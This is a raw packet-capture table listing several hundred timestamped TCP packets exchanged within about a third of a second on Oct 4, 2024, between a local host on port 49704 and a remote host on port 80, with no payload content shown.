Oct 4, 2024 05:45:00.157018900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157032013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157038927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157048941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157059908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157063007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157077074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157083035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157092094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157104969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157108068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157121897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157131910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157135963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157149076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157150984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157165051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157176018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157179117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157192945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157196045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157208920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157212019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157224894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157227039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157242060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157242060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157260895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157284021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157324076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157361984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157378912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157396078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157423019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157432079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157476902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157491922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157505989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157514095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157521963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157527924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157552958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157568932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157597065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157610893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157624960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157635927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157639027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157648087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157655001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157665014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157669067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157681942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157685041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157695055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157713890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157730103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157748938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157764912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157778978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157793999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157794952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157809019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157823086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157824039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.157836914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.157866001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.199651003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.199691057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.199747086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.199799061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.199834108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.199835062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.199861050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.199868917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.199882984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.199912071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.199919939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.199954033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.199961901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.199985981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.199995995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200037003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200041056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200069904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200083017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200112104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200122118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200165033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200172901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200217009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200222015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200254917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200264931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200284958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200297117 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200319052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200326920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200352907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200357914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200397968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200407982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200439930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200450897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200483084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200489044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200531960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200539112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200572968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200582027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200615883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200632095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200675964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200681925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200714111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200725079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200747967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200753927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200786114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200792074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200819969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200840950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200851917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200860023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200885057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200892925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200916052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200925112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200948000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200957060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.200979948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.200989008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201016903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201020956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201050043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201059103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201085091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201092005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201117039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201127052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201148987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201157093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201180935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201189041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201212883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201221943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201244116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201253891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201276064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201283932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201308012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201317072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201342106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201349974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201374054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201383114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201409101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.201416016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.201450109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244374037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244434118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244457006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244472027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244487047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244502068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244515896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244530916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244545937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244560957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244573116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244574070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244574070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244574070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244574070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244574070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244574070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244574070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244577885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244591951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244596958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244605064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244607925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244618893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244623899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.244637012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244653940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.244669914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245064020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245115995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245116949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245150089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245182037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245182037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245198011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245224953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245234013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245268106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245279074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245301008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245307922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245341063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245351076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245384932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245394945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245419025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245425940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245451927 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245459080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245491982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245501041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245533943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245542049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245575905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245584011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245624065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245631933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245673895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245680094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245733976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245749950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245765924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245775938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245804071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245815992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245847940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245857000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245887041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245897055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245930910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245938063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.245963097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.245970964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246002913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246011972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246043921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246052027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246082067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246093035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246124983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246140957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246164083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246176958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246212959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246226072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246241093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246253014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246279955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246289015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246323109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246335983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246355057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246367931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246392965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246397972 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246426105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246433973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246459007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246464968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246491909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246499062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246525049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246531963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246555090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246561050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246587992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246599913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246619940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246632099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246654034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246659994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246685028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246692896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246717930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246723890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246737957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246752977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246757984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246764898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246773958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246781111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246788979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246795893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246805906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246809959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246824980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246824980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246836901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246839046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246854067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246857882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246867895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246876001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246884108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246897936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246912003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246912003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246927023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246928930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246942997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246954918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246958017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.246982098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.246998072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.288825989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.288947105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.288983107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289015055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289017916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289066076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289099932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289150953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289167881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289167881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289167881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289167881 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289201021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289233923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289271116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289324999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289344072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289344072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289344072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289344072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289345026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289357901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289386034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289395094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289408922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289446115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289447069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289479017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:00.289498091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:00.289511919 CEST	80	49704	185.215.113.37	192.168.2.5
